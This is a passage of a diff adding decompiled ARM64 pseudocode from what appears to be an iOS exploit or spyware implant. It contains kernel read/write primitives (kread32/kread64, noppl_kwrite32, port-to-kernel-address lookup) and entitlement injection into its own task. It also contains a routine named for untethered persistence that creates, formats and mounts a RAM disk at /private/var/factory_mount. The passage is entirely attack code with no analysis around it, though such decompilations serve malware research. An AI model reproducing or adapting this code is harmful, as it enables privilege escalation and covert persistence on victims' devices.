(__int64)__error(); + v15 = *(_DWORD *)result; + if ( v14 < 0 ) + v15 = -v15; + v6 = v15 | 0x40000000; + } + else + { + v10 = v9; + v11 = 0; + while ( 1 ) + { + v12 = write(v10, v2, v3); + if ( v12 != -1 ) + break; + if ( *__error() == 4 && v11++ < 0x64 ) + continue; + v6 = 110597; + goto LABEL_20; + } + v6 = 110597; + if ( !HIDWORD(v12) && (_DWORD)v3 == (_DWORD)v12 ) + { + v16 = open(v8, 0); + if ( (v16 & 0x80000000) == 0 ) + { + *v4 = v16; + result = close(v10); + v6 = 0; + goto LABEL_21; + } + v17 = *__error(); + v18 = *__error(); + if ( v17 < 0 ) + v18 = -v18; + v6 = v18 | 0x40000000; + } +LABEL_20: + close(v10); + result = unlink(v8); + } + } +LABEL_21: + *(_DWORD *)(a1 + 24) = v6; + return result; +} + +//----- (000000000001FC94) ---------------------------------------------------- +__int64 __fastcall sub_1FC94(__int64 a1) +{ + __int64 result; // x0 + char *f_mntonname; // [xsp+8h] [xbp-8B8h] BYREF + __int64 v4; // [xsp+10h] [xbp-8B0h] + unsigned int v5; // [xsp+18h] [xbp-8A8h] + statfs v6; // [xsp+20h] [xbp-8A0h] BYREF + + bzero(&v6, 0x878u); + LODWORD(result) = sub_1FD98(&v6); + if ( (_DWORD)result ) + { + if ( (_DWORD)result == 708625 ) + return 0; + else + return (unsigned int)result; + } + else + { + f_mntonname = v6.f_mntonname; + v4 = 0; + v5 = 708609; + if ( pthread_create_and_join(a1, (__int64)sub_20490, &f_mntonname) ) + result = v5; + else + result = 708619; + if ( !(_DWORD)result ) + { + f_mntonname = v6.f_mntfromname; + v4 = 0; + v5 = 708609; + if ( pthread_create_and_join(a1, (__int64)sub_20524, &f_mntonname) ) + return v5; + else + return 708619; + } + } + return result; +} + +//----- (000000000001FD98) ---------------------------------------------------- +__int64 __fastcall sub_1FD98(statfs *a1) +{ + __int64 v2; // x19 + int v3; // w19 + int v4; // w8 + + v2 = 708625; + if ( statfs("/private/var/factory_mount", a1) ) + { + if ( *__error() != 2 ) + { + v3 = *__error(); + v4 = *__error(); + if ( v3 < 0 ) + v4 = -v4; + return v4 | 0x40000000u; + } + } + else if ( !strcmp("/private/var/factory_mount", a1->f_mntonname) ) + { + if ( !strcmp("hfs", a1->f_fstypename) ) + return 0; + else + return 708613; + } + return v2; +} + +//----- (000000000001FE38) ---------------------------------------------------- +__int64 __fastcall setup_untethered_persistence_maybe(__int64 a1, int a2) +{ + __int64 st_uid; // x22 + CFMutableDictionaryRef Mutable; // x0 + CFMutableDictionaryRef v6; // x21 + size_t v7; // x0 + CFDataRef v8; // x0 + CFDataRef v9; // x23 + CFNumberRef v10; // x0 + CFNumberRef v11; // x24 + const __CFData *Data; // x0 + const __CFData *v13; // x25 + size_t Length; // x22 + void *v15; // x20 + const UInt8 *BytePtr; // x0 + __darwin_ino64_t v17; // x28 + IONotificationPort *v18; // x0 + IONotificationPort *v19; // x22 + CFRunLoopSourceRef RunLoopSource; // x0 + __CFRunLoopSource *v21; // x23 + __CFRunLoop *Current; // x0 + const CFDictionaryRef *v23; // x21 + void (__cdecl *v24)(void *, io_iterator_t); // x0 + kern_return_t v25; // w0 + int v26; // w25 + char *v27; // x21 + __CFRunLoop *v28; // x0 + int v30; // w22 + unsigned int v31; // w25 + CFRunLoopRunResult v32; // w0 + uint64_t valuePtr; // [xsp+8h] [xbp-A18h] BYREF + unsigned int v34; // [xsp+10h] [xbp-A10h] + statfs v35; // [xsp+88h] [xbp-998h] BYREF + io_iterator_t notification[2]; // [xsp+900h] [xbp-120h] BYREF + const char *v37; // [xsp+908h] [xbp-118h] + uint64_t *p_valuePtr; // [xsp+910h] [xbp-110h] + __int64 v39; // [xsp+918h] [xbp-108h] + stat __str; // [xsp+920h] [xbp-100h] BYREF + + bzero(&v35, 0x878u); + st_uid = sub_1FD98(&v35); + if ( (_DWORD)st_uid != 708625 ) + return st_uid; + __str.st_dev = 708609; + st_uid = pthread_create_and_join(a1, (__int64)sub_1F828, &__str) ? (unsigned int)__str.st_dev : 708619LL; + if ( (_DWORD)st_uid ) + return st_uid; + valuePtr = mach_absolute_time(); + Mutable = CFDictionaryCreateMutable( + kCFAllocatorDefault, + 1, + &kCFTypeDictionaryKeyCallBacks, + &kCFTypeDictionaryValueCallBacks); + if ( !Mutable ) + return 708617; + v6 = Mutable; + snprintf((char *)&__str, 0x40u, "ram://%u", a2 << 11); + v7 = strlen((const char *)&__str); + v8 = CFDataCreate(kCFAllocatorDefault, (const UInt8 *)&__str, v7); + if ( !v8 ) + { + CFRelease(v6); + return 708617; + } + v9 = v8; + v10 = CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt64Type, &valuePtr); + if ( v10 ) + { + v11 = v10; + CFDictionaryAddValue(v6, CFSTR("autodiskmount"), kCFBooleanFalse); + CFDictionaryAddValue(v6, CFSTR("ota-unique-identifier"), v11); + CFDictionaryAddValue(v6, CFSTR("image-path"), v9); + Data = CFPropertyListCreateData(kCFAllocatorDefault, v6, kCFPropertyListXMLFormat_v1_0, 0, 0); + if ( Data ) + { + v13 = Data; + Length = CFDataGetLength(Data); + v15 = calloc(Length + 1, 1u); + if ( v15 ) + { + BytePtr = CFDataGetBytePtr(v13); + memcpy(v15, BytePtr, Length); + st_uid = 0; + v17 = valuePtr; + } + else + { + v17 = 0; + st_uid = 708617; + } + CFRelease(v13); + } + else + { + v15 = 0; + v17 = 0; + st_uid = 708617; + } + CFRelease(v11); + } + else + { + v15 = 0; + v17 = 0; + st_uid = 708617; + } + CFRelease(v9); + CFRelease(v6); + if ( !(_DWORD)st_uid ) + { + valuePtr = (uint64_t)v15; + v34 = 708619; + if ( !a1 || !v15 ) + { + st_uid = 708609; + goto LABEL_38; + } + st_uid = 708609; + if ( v17 ) + { + st_uid = 708619; + if ( (unsigned int)krw_inject_entitlements2_maybe( + (struct_krwCtx *)a1, + mach_task_self_, + "com.apple.private.diskimages.kext.user-client-accesscom.apple.pr" + "ivate.security.disk-device-accesscom.apple.security.iokit-user-client-class" + "IOHDIXControllerUserClient", + 1) ) + { + if ( pthread_create_and_join(a1, (__int64)sub_2062C, &valuePtr) ) + { + st_uid = v34; + if ( !v34 ) + { + *(_QWORD *)&__str.st_dev = 0; + __str.st_ino = v17; + notification[0] = 0; + v18 = IONotificationPortCreate(kIOMasterPortDefault); + if ( !v18 ) + { + v26 = 6; + goto LABEL_37; + } + v19 = v18; + RunLoopSource = IONotificationPortGetRunLoopSource(v18); + if ( !RunLoopSource ) + { + IONotificationPortDestroy(v19); + v26 = 29; + goto LABEL_37; + } + v21 = RunLoopSource; + Current = CFRunLoopGetCurrent(); + CFRunLoopAddSource(Current, v21, kCFRunLoopDefaultMode); + v23 = IOServiceMatching("IOMedia"); + v24 = (void (__cdecl *)(void *, io_iterator_t))nullsub_1(sub_20780); + v25 = IOServiceAddMatchingNotification(v19, "IOServiceMatched", v23, v24, &__str, notification); + if ( v25 ) + { + v26 = v25; + v27 = 0; + goto LABEL_36; + } + sub_20780((__int64)&__str, notification[0]); + v27 = *(char **)&__str.st_dev; + if ( *(_QWORD *)&__str.st_dev ) + { +LABEL_34: + v26 = 0; + *(_QWORD *)&__str.st_dev = 0; + goto LABEL_35; + } + v31 = 0; + while ( 1 ) + { + v32 = CFRunLoopRunInMode(kCFRunLoopDefaultMode, 1.0, 1u); + if ( v32 == kCFRunLoopRunTimedOut ) + { + ++v31; + } + else if ( v32 != kCFRunLoopRunHandledSource ) + { + if ( (unsigned int)(v32 - 1) < 2 ) + { + v27 = *(char **)&__str.st_dev; + if ( *(_QWORD *)&__str.st_dev ) + goto LABEL_34; + goto LABEL_59; + } + v27 = 0; + v26 = 18; +LABEL_35: + IOObjectRelease(notification[0]); +LABEL_36: + v28 = CFRunLoopGetCurrent(); + CFRunLoopRemoveSource(v28, v21, kCFRunLoopDefaultMode); + IONotificationPortDestroy(v19); + if ( v26 ) + { +LABEL_37: + st_uid = v26 | 0x80000000; + break; + } + snprintf((char *)&valuePtr, 0x80u, "/dev/%s", v27); + memset(&__str, 0, sizeof(__str)); + *(_QWORD *)notification = "/sbin/newfs_hfs"; + v37 = "-P"; + p_valuePtr = &valuePtr; + v39 = 0; + st_uid = sub_2B788((const char **)notification); + if ( !(_DWORD)st_uid ) + { + v30 = 1000; + while ( lstat((const char *)&valuePtr, &__str) || (__str.st_mode & 0xF000) != 0x6000 ) + { + usleep(0x4E20u); + if ( !--v30 ) + { + st_uid = 708632; + goto LABEL_46; + } + } + *(_QWORD *)&__str.st_dev = "/private/var/factory_mount"; + __str.st_ino = (__darwin_ino64_t)&valuePtr; + __str.st_uid = 708609; + if ( pthread_create_and_join(a1, (__int64)sub_1F7CC, &__str) ) + { + st_uid = __str.st_uid; + if ( !__str.st_uid ) + { +LABEL_47: + free(v27); + break; + } + } + else + { + st_uid = 708619; + } + } +LABEL_46: + *(_QWORD *)&__str.st_dev = &valuePtr; + __str.st_ino = 0; + __str.st_uid = 708609; + pthread_create_and_join(a1, (__int64)sub_20524, &__str); + goto LABEL_47; + } + v27 = *(char **)&__str.st_dev; + if ( *(_QWORD *)&__str.st_dev || v31 >= 0xA ) + { + if ( *(_QWORD *)&__str.st_dev ) + goto LABEL_34; +LABEL_59: + v26 = 49; + goto LABEL_35; + } + } + } + } + } + } +LABEL_38: + free(v15); + } + return st_uid; +} +// 19728: using guessed type __int64 __fastcall nullsub_1(_QWORD); +// 44958: using guessed type __CFString cfstr_Autodiskmount; +// 44978: using guessed type __CFString cfstr_OtaUniqueIdent; +// 44998: using guessed type __CFString cfstr_ImagePath; + +//----- (00000000000203B0) ---------------------------------------------------- +__int64 __fastcall sub_203B0(__int64 a1, _DWORD *a2, char *a3) +{ + __int64 result; // x0 + statfs v6; // [xsp+0h] [xbp-8A0h] BYREF + + bzero(&v6, 0x878u); + result = sub_1FD98(&v6); + if ( (_DWORD)result == 708625 ) + { + result = 0; + *a2 = 0; + *a3 = 0; + } + else if ( !(_DWORD)result ) + { + *a2 = 4; + strlcpy(a3, v6.f_mntonname, 0x400u); + return 0; + } + return result; +} + +//----- (0000000000020468) ---------------------------------------------------- +__int64 __fastcall sub_20468(__int64 a1, __int64 a2, int a3) +{ + if ( sub_22464(a1, a2, a3) ) + return 0; + else + return 708619; +} + +//----- (0000000000020490) ---------------------------------------------------- +int *__fastcall sub_20490(__int64 a1) +{ + unsigned int v2; // w21 + int v3; // w20 + int *result; // x0 + int v5; // w22 + int v6; // w8 + int v7; // w8 + + v2 = 0; + v3 = 1073741840; + while ( 1 ) + { + result = (int *)unmount(*(const char **)a1, 0x80000); + if ( !(_DWORD)result ) + { + v3 = 0; + goto LABEL_11; + } + v5 = *__error(); + result = __error(); + v6 = *result; + if ( v5 < 0 ) + v6 = -v6; + v7 = v6 | 0x40000000; + if ( v7 != 1073741840 ) + break; + result = (int *)usleep(0xC8u); + if ( v2++ >= 4 ) + goto LABEL_11; + } + v3 = v7; +LABEL_11: + *(_DWORD *)(a1 + 16) = v3; + return result; +} + +//----- (0000000000020524) ---------------------------------------------------- +int *__fastcall sub_20524(__int64 a1) +{ + const char *v2; // x20 + int *result; // x0 + int v4; // w21 + int v5; // w0 + int v6; // w20 + int v7; // w21 + int v8; // w8 + int v9; // w20 + int v10; // w8 + stat v11; // [xsp+10h] [xbp-B0h] BYREF + + memset(&v11, 0, sizeof(v11)); + v2 = *(const char **)a1; + result = (int *)stat(*(const char **)a1, &v11); + if ( (_DWORD)result ) + { + result = __error(); + if ( *result == 2 ) + { + v4 = 0; + goto LABEL_16; + } + goto LABEL_10; + } + if ( (v11.st_mode & 0xF000) != 0x6000 ) + { + v4 = 708627; + goto LABEL_16; + } + v5 = open(v2, 0); + if ( v5 < 0 ) + { +LABEL_10: + v9 = *__error(); + result = __error(); + v10 = *result; + if ( v9 < 0 ) + v10 = -v10; + v4 = v10 | 0x40000000; + goto LABEL_16; + } + v6 = v5; + if ( ioctl(v5, 0x20006415u, 0) ) + { + v7 = *__error(); + v8 = *__error(); + if ( v7 < 0 ) + v8 = -v8; + v4 = v8 | 0x40000000; + } + else + { + v4 = 0; + } + result = (int *)close(v6); +LABEL_16: + *(_DWORD *)(a1 + 16) = v4; + return result; +} + +//----- (000000000002062C) ---------------------------------------------------- +const CFDictionaryRef *__fastcall sub_2062C(const CFDictionaryRef *result) +{ + const CFDictionaryRef *v1; // x19 + io_object_t v2; // w20 + kern_return_t v3; // w0 + kern_return_t v4; // w0 + unsigned int v5; // w8 + int outputStruct; // [xsp+4h] [xbp-13Ch] BYREF + size_t outputStructCnt; // [xsp+8h] [xbp-138h] BYREF + io_connect_t connect; // [xsp+14h] [xbp-12Ch] BYREF + __int64 inputStruct; // [xsp+18h] [xbp-128h] BYREF + const char *v10; // [xsp+20h] [xbp-120h] + size_t v11; // [xsp+28h] [xbp-118h] + __int128 v12; // [xsp+30h] [xbp-110h] + __int128 v13; // [xsp+40h] [xbp-100h] + __int128 v14; // [xsp+50h] [xbp-F0h] + __int128 v15; // [xsp+60h] [xbp-E0h] + __int128 v16; // [xsp+70h] [xbp-D0h] + __int128 v17; // [xsp+80h] [xbp-C0h] + __int128 v18; // [xsp+90h] [xbp-B0h] + __int128 v19; // [xsp+A0h] [xbp-A0h] + __int128 v20; // [xsp+B0h] [xbp-90h] + __int128 v21; // [xsp+C0h] [xbp-80h] + __int128 v22; // [xsp+D0h] [xbp-70h] + __int128 v23; // [xsp+E0h] [xbp-60h] + __int128 v24; // [xsp+F0h] [xbp-50h] + __int128 v25; // [xsp+100h] [xbp-40h] + __int64 v26; // [xsp+110h] [xbp-30h] + + if ( result ) + { + v1 = result; + result = sub_24D64("IOHDIXController"); + if ( (unsigned int)((_DWORD)result + 1) < 2 ) + { + *((_DWORD *)v1 + 2) = 708625; + } + else + { + v2 = (unsigned int)result; + connect = 0; + v3 = IOServiceOpen((io_service_t)result, mach_task_self_, 0, &connect); + if ( v3 ) + { + *((_DWORD *)v1 + 2) = v3 | 0x80000000; + } + else + { + outputStructCnt = 4; + outputStruct = 0; + v12 = 0u; + v13 = 0u; + v14 = 0u; + v15 = 0u; + v16 = 0u; + v17 = 0u; + v18 = 0u; + v19 = 0u; + v20 = 0u; + v21 = 0u; + v22 = 0u; + v23 = 0u; + v24 = 0u; + v25 = 0u; + v26 = 0; + inputStruct = 0x1BEEFFEEDLL; + v10 = *(const char **)v1; + v11 = strlen(v10); + v4 = IOConnectCallStructMethod(connect, 0, &inputStruct, 0x100u, &outputStruct, &outputStructCnt); + v5 = v4 | 0x80000000; + if ( !v4 ) + v5 = 0; + *((_DWORD *)v1 + 2) = v5; + IOServiceClose(connect); + } + return (const CFDictionaryRef *)IOObjectRelease(v2); + } + } + return result; +} + +//----- (0000000000020780) ---------------------------------------------------- +__int64 __fastcall sub_20780(__int64 a1, io_iterator_t iterator) +{ + __int64 result; // x0 + io_registry_entry_t v5; // w22 + const __CFNumber *v6; // x0 + const __CFNumber *v7; // x26 + CFTypeID v8; // x27 + const __CFString *CFProperty; // x0 + const __CFString *v10; // x27 + CFTypeID v11; // x28 + CFStringEncoding SystemEncoding; // w0 + __int64 valuePtr; // [xsp+8h] [xbp-E8h] BYREF + char buffer[16]; // [xsp+10h] [xbp-E0h] BYREF + __int128 v15; // [xsp+20h] [xbp-D0h] + __int128 v16; // [xsp+30h] [xbp-C0h] + __int128 v17; // [xsp+40h] [xbp-B0h] + __int128 v18; // [xsp+50h] [xbp-A0h] + __int128 v19; // [xsp+60h] [xbp-90h] + __int128 v20; // [xsp+70h] [xbp-80h] + __int128 v21; // [xsp+80h] [xbp-70h] + + valuePtr = 0; + v20 = 0u; + v21 = 0u; + v18 = 0u; + v19 = 0u; + v16 = 0u; + v17 = 0u; + *(_OWORD *)buffer = 0u; + v15 = 0u; + result = IOIteratorNext(iterator); + if ( (_DWORD)result ) + { + v5 = result; + do + { + v6 = (const __CFNumber *)IORegistryEntrySearchCFProperty( + v5, + "IOService", + CFSTR("ota-unique-identifier"), + kCFAllocatorDefault, + 3u); + if ( v6 ) + { + v7 = v6; + v8 = CFGetTypeID(v6); + if ( v8 == CFNumberGetTypeID() + && CFNumberGetValue(v7, kCFNumberSInt64Type, &valuePtr) == 1 + && valuePtr == *(_QWORD *)(a1 + 8) ) + { + CFProperty = (const __CFString *)IORegistryEntryCreateCFProperty( + v5, + CFSTR("BSD Name"), + kCFAllocatorDefault, + 0); + if ( CFProperty ) + { + v10 = CFProperty; + v11 = CFGetTypeID(CFProperty); + if ( v11 == CFStringGetTypeID() ) + { + SystemEncoding = CFStringGetSystemEncoding(); + if ( CFStringGetCString(v10, buffer, 128, SystemEncoding) == 1 ) + { + if ( *(_QWORD *)a1 ) + free(*(void **)a1); + *(_QWORD *)a1 = strdup(buffer); + } + } + CFRelease(v10); + } + } + CFRelease(v7); + } + IOObjectRelease(v5); + result = IOIteratorNext(iterator); + v5 = result; + } + while ( (_DWORD)result ); + } + return result; +} +// 44978: using guessed type __CFString cfstr_OtaUniqueIdent; +// 449B8: using guessed type __CFString cfstr_BsdName; + +//----- (0000000000020930) ---------------------------------------------------- +__int64 __fastcall sub_20930(__int64 a1, __int64 *a2, __int64 a3) +{ + __int64 v4; // x21 + __int64 *v5; // x9 + int v6; // w10 + size_t v7; // x8 + __int64 v8; // x22 + unsigned int v9; // w10 + size_t *p_src; // x20 + void *v11; // x0 + size_t v12; // x2 + size_t *v13; // x1 + size_t v15; // [xsp+0h] [xbp-30h] BYREF + __int64 __src; // [xsp+8h] [xbp-28h] BYREF + + if ( *((_BYTE *)a2 + 64) ) + { + __src = a3; + v4 = a2[4]; + if ( v4 ) + { + v5 = a2 + 5; + } + else + { + v5 = a2 + 1; + v4 = *a2; + } + v6 = *((_DWORD *)a2 + 18); + v7 = *(int *)(a1 + 360); + v8 = (unsigned int)(v6 + 2 * v7); + v9 = 3 * v7 + v6; + if ( a3 ) + { + p_src = (size_t *)&__src; + v15 = v8 - v7 + *v5; + } + else + { + p_src = &v15; + v15 = 0; + } + memcpy((void *)(v4 + v9), &v15, v7); + v11 = (void *)(v4 + v8); + v12 = *(int *)(a1 + 360); + v13 = p_src; + } + else + { + if ( a3 ) + __src = a3 - *((unsigned int *)a2 + 25); + else + __src = 0; + v11 = (void *)(*a2 + *((unsigned int *)a2 + 23) + 512); + v12 = *(int *)(a1 + 360); + v13 = (size_t *)&__src; + } + memcpy(v11, v13, v12); + return 0; +} + +//----- (0000000000020A14) ---------------------------------------------------- +__int64 __fastcall sub_20A14(__int64 a1, int a2, char a3) +{ + __int64 v5; // x22 + unsigned int v6; // w23 + __int64 v7; // x19 + unsigned __int64 v8; // x0 + bool v9; // cf + unsigned __int64 v10; // x0 + unsigned int v11; // w23 + bool v12; // zf + unsigned int v14; // w21 + unsigned __int64 v15; // x0 + unsigned __int64 v16; // x0 + unsigned int v17; // w21 + + v5 = *(_QWORD *)(a1 + 32); + if ( (a3 & 1) == 0 && (!a2 || v5) ) + goto LABEL_19; + v6 = 0; + v7 = 163849; + while ( 1 ) + { + v8 = write(*(_DWORD *)(a1 + 24), *(const void **)a1, *(unsigned int *)(a1 + 16)); + if ( v8 != -1 ) + break; + if ( *__error() == 4 ) + { + v9 = v6++ >= 0x64; + if ( !v9 ) + continue; + } + return v7; + } + if ( !HIDWORD(v8) && *(_DWORD *)(a1 + 16) == (_DWORD)v8 ) + { + v10 = read(*(_DWORD *)(a1 + 20), *(void **)a1, (unsigned int)v8); + if ( v10 == -1 ) + { + v11 = 0; + while ( *__error() == 4 && v11 <= 0x63 ) + { + ++v11; + v10 = read(*(_DWORD *)(a1 + 20), *(void **)a1, *(unsigned int *)(a1 + 16)); + if ( v10 != -1 ) + goto LABEL_17; + } + return 163850; + } +LABEL_17: + v7 = 163850; + if ( !HIDWORD(v10) && *(_DWORD *)(a1 + 16) == (_DWORD)v10 ) + { +LABEL_19: + if ( v5 ) + v12 = a2 == 0; + else + v12 = 1; + if ( v12 ) + return 0; + v14 = 0; + v7 = 163849; + while ( 1 ) + { + v15 = write(*(_DWORD *)(a1 + 56), *(const void **)(a1 + 32), *(unsigned int *)(a1 + 48)); + if ( v15 != -1 ) + break; + if ( *__error() == 4 ) + { + v9 = v14++ >= 0x64; + if ( !v9 ) + continue; + } + return v7; + } + if ( !HIDWORD(v15) && *(_DWORD *)(a1 + 48) == (_DWORD)v15 ) + { + v16 = read(*(_DWORD *)(a1 + 52), *(void **)(a1 + 32), (unsigned int)v15); + if ( v16 == -1 ) + { + v17 = 0; + while ( *__error() == 4 && v17 <= 0x63 ) + { + ++v17; + v16 = read(*(_DWORD *)(a1 + 52), *(void **)(a1 + 32), *(unsigned int *)(a1 + 48)); + if ( v16 != -1 ) + goto LABEL_38; + } + return 163850; + } +LABEL_38: + v7 = 163850; + if ( !HIDWORD(v16) && *(_DWORD *)(a1 + 48) == (_DWORD)v16 ) + return 0; + } + } + } + return v7; +} + +//----- (0000000000020C00) ---------------------------------------------------- +__int64 __fastcall sub_20C00(__int64 a1, __int64 a2, __int64 a3, int *a4) +{ + __int64 result; // x0 + int x; // [xsp+Ch] [xbp-14h] BYREF + + sub_20930(a1, (__int64 *)a2, a3); + result = sub_20A14(a2, 0, 1); + if ( !(_DWORD)result ) + { + result = pid_for_task(*(_DWORD *)(a2 + 60), &x); + if ( (_DWORD)result ) + return (unsigned int)result | 0x80000000; + else + *a4 = x; + } + return result; +} + +//----- (0000000000020C64) ---------------------------------------------------- +__int64 __fastcall sub_20C64(__int64 a1, __int64 a2, __int64 a3, int *a4) +{ + __int64 result; // x0 + integer_t port_info_out; // [xsp+8h] [xbp-28h] BYREF + mach_msg_type_number_t port_info_outCnt; // [xsp+Ch] [xbp-24h] BYREF + __int64 vars8; // [xsp+38h] [xbp+8h] + + if ( *(_BYTE *)(a2 + 64) ) + { + sub_20930(a1, (__int64 *)a2, a3); + result = sub_20A14(a2, 1, 0); + if ( !(_DWORD)result ) + { + port_info_outCnt = 1; + result = mach_port_get_attributes(mach_task_self_, *(_DWORD *)(a2 + 60), 3, &port_info_out, &port_info_outCnt); + if ( (_DWORD)result ) + return (unsigned int)result | 0x80000000; + else + *a4 = port_info_out; + } + } + else + { + if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) + __break(0xC471u); + return sub_20C00(a1, a2, a3, a4); + } + return result; +} + +//----- (0000000000020D24) ---------------------------------------------------- +__int64 __fastcall sub_20D24(__int64 a1, __int64 a2, __int64 a3, unsigned __int64 *a4) +{ + __int64 result; // x0 + unsigned int v9; // [xsp+8h] [xbp-28h] BYREF + unsigned int v10; // [xsp+Ch] [xbp-24h] BYREF + + result = sub_20C64(a1, a2, a3, (int *)&v10); + if ( !(_DWORD)result ) + { + result = sub_20C64(a1, a2, a3 + 4, (int *)&v9); + if ( !(_DWORD)result ) + *a4 = v10 | ((unsigned __int64)v9 << 32); + } + return result; +} + +//----- (0000000000020D90) ---------------------------------------------------- +__int64 __fastcall sub_20D90(struct_krwCtx *a1, __int64 a2, unsigned __int64 a3, int a4, unsigned __int64 *a5) +{ + __int64 v10; // x19 + __int64 v11; // x0 + unsigned int v12; // w26 + unsigned int v13; // w24 + unsigned __int64 v14; // x0 + unsigned __int64 v15; // x28 + __int64 v16; // x27 + unsigned __int64 i; // x24 + __int64 v18; // x0 + int v19; // w8 + unsigned __int64 v20; // x10 + unsigned __int64 v21; // x9 + int v22; // w11 + unsigned __int64 v23; // x26 + int v24; // w8 + unsigned __int64 v25; // x10 + unsigned __int64 v26; // x9 + int v27; // w11 + unsigned int v29; // [xsp+Ch] [xbp-64h] + unsigned __int64 someLargeNumber; // [xsp+10h] [xbp-60h] + int v31; // [xsp+1Ch] [xbp-54h] BYREF + + v10 = 163852; + v11 = sub_32BC8((__int64)a1); + if ( !(_DWORD)v11 ) + return 163851; + if ( !a3 ) + return 163848; + v12 = v11; + v13 = sub_401A4((__int64)a1, v11); + v14 = sub_40364((__int64)a1, a3, v12, v13); + if ( !v14 ) + return 163878; + v15 = v14; + v29 = v13; + someLargeNumber = a1->someLargeNumber; + v16 = v12; + if ( v14 <= a3 ) + { + i = a3; + do + { + if ( a2 ) + { + v18 = sub_20C64((__int64)a1, a2, i, &v31); + if ( (_DWORD)v18 ) + return v18; + } + else if ( !kread32_outptr((__int64)a1, i, &v31) ) + { + return 163855; + } + v19 = v31 & 0x3FF; + if ( someLargeNumber < 0x1C1B1914600000LL ) + { + if ( v19 == a4 ) + goto LABEL_47; + if ( v19 != 17 ) + { + v20 = 0; + do + { + v21 = v20; + if ( v20 == 9 ) + break; + v22 = dword_43428[++v20]; + } + while ( v22 != v19 ); + if ( v21 > 8 ) + break; + } + } + else if ( a4 == 2 && v19 == 2 ) + { + if ( !(unsigned int)sub_21060(a1, a2, v31, i) ) + goto LABEL_47; + } + else if ( v19 == a4 ) + { +LABEL_47: + v10 = 0; + *a5 = i; + return v10; + } + i -= v12; + } + while ( i >= v15 ); + } + v23 = v29 - (unsigned __int64)v12 + v15; + for ( i = v16 + a3; i <= v23; i += v16 ) + { + if ( a2 ) + { + v18 = sub_20C64((__int64)a1, a2, i, &v31); + if ( (_DWORD)v18 ) + return v18; + } + else if ( !kread32_outptr((__int64)a1, i, &v31) ) + { + return 163855; + } + v24 = v31 & 0x3FF; + if ( someLargeNumber < 0x1C1B1914600000LL ) + { + if ( v24 == a4 ) + goto LABEL_47; + if ( v24 != 17 ) + { + v25 = 0; + do + { + v26 = v25; + if ( v25 == 9 ) + break; + v27 = dword_43428[++v25]; + } + while ( v27 != v24 ); + if ( v26 > 8 ) + return v10; + } + } + else if ( a4 == 2 && v24 == 2 ) + { + if ( !(unsigned int)sub_21060(a1, a2, v31, i) ) + goto LABEL_47; + } + else if ( v24 == a4 ) + { + goto LABEL_47; + } + } + return v10; +} +// 43428: using guessed type _DWORD dword_43428[10]; + +//----- (0000000000021060) ---------------------------------------------------- +__int64 __fastcall sub_21060(struct_krwCtx *a1, __int64 a2, __int16 a3, __int64 a4) +{ + __int64 v6; // x0 + __int64 v7; // x21 + unsigned __int64 v8; // x1 + unsigned int v9; // w0 + unsigned __int64 v10; // x8 + unsigned __int64 v12; // [xsp+8h] [xbp-28h] BYREF + + if ( (a3 & 0x7FF) != 2 ) + return 163848; + v6 = sub_32820(a1, a4); + v12 = v6; + if ( !v6 ) + return 163878; + if ( a2 ) + { + v7 = sub_20D24((__int64)a1, a2, v6, &v12); + if ( (_DWORD)v7 ) + return v7; + v8 = sub_29CB0(a1, v12); + v12 = v8; + } + else + { + if ( !kread64_outptr(a1, v6, &v12) ) + return 163855; + v8 = v12; + } + if ( !validate_addr((__int64)a1, v8) ) + return 163878; + v9 = sub_3338C((__int64)a1); + v7 = 163878; + if ( !v9 ) + return v7; + v10 = v12 + v9; + if ( a2 ) + { + v7 = sub_20D24((__int64)a1, a2, v10, &v12); + if ( !(_DWORD)v7 ) + { + v12 = sub_29CB0(a1, v12); + v7 = sub_20D24((__int64)a1, a2, v12 + 32, &v12); + if ( !(_DWORD)v7 ) + { +LABEL_20: + if ( validate_addr((__int64)a1, v12) ) + return 0; + else + return 163878; + } + } + } + else + { + v7 = 163855; + if ( kread64_outptr(a1, v10, &v12) && kread64_outptr(a1, v12 + 32, &v12) ) + goto LABEL_20; + } + return v7; +} + +//----- (00000000000211F4) ---------------------------------------------------- +__int64 __fastcall sub_211F4(__int64 a1, __int64 a2, unsigned __int64 a3, unsigned __int64 *a4) +{ + return sub_20D90((struct_krwCtx *)a1, a2, a3, 2, a4); +} + +//----- (0000000000021200) ---------------------------------------------------- +__int64 __fastcall sub_21200(struct_krwCtx *a1, int w1_0) +{ + __int64 v3; // x19 + int xnuMajorVersion; // w9 + unsigned __int64 v8; // x0 + mach_vm_address_t v9; // x21 + int v10; // [xsp+8h] [xbp-28h] BYREF + mach_port_t a2; // [xsp+Ch] [xbp-24h] BYREF + + v3 = 163847; + xnuMajorVersion = a1->xnuMajorVersion; + if ( xnuMajorVersion > 8018 ) + { + if ( (unsigned int)(xnuMajorVersion - 8019) >= 2 && xnuMajorVersion != 8792 ) + return v3; +LABEL_12: + if ( (unsigned int)j__fileport_makeport(w1_0, &a2) ) + return 163853; + v8 = port_name_to_kaddr(a1, a2); + if ( !v8 ) + return 163854; + v9 = v8 + 20; + if ( !kread32_outptr((__int64)a1, v8 + 20, &v10) ) + return 163855; + if ( (unsigned int)(v10 - 1) > 9 ) + return 163857; + if ( noppl_kwrite32((__int64)a1, v9, 0xFFFF) ) + return 0; + return 163856; + } + if ( xnuMajorVersion == 6153 || xnuMajorVersion == 7195 ) + goto LABEL_12; + return v3; +} + +//----- (0000000000021304) ---------------------------------------------------- +uint64_t __fastcall sub_21304(__int64 a1) +{ + __int64 v2; // x20 + uint64_t result; // x0 + __int64 i; // x8 + __int64 v5; // x10 + + v2 = *(_QWORD *)(a1 + 2152); + result = mach_absolute_time(); + if ( v2 ) + { + if ( (result - *(_QWORD *)(a1 + 2152)) * *(unsigned int *)(a1 + 604) / *(unsigned int *)(a1 + 608) < 0x12A153440LL ) + return result; + for ( i = 0; i != 640; i += 40 ) + { + v5 = a1 + 1512 + i; + *(_QWORD *)(v5 + 32) = 0; + *(_OWORD *)v5 = 0u; + *(_OWORD *)(v5 + 16) = 0u; + } + result = mach_absolute_time(); + } + *(_QWORD *)(a1 + 2152) = result; + return result; +} + +//----- (0000000000021388) ---------------------------------------------------- +unsigned __int64 __fastcall sub_21388(struct_krwCtx *a1) +{ + unsigned __int64 result; // x0 + __int64 vars8; // [xsp+18h] [xbp+8h] + + result = sub_32D24((__int64)a1); + if ( result ) + { + if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) + __break(0xC471u); + return sub_3492C(a1, result); + } 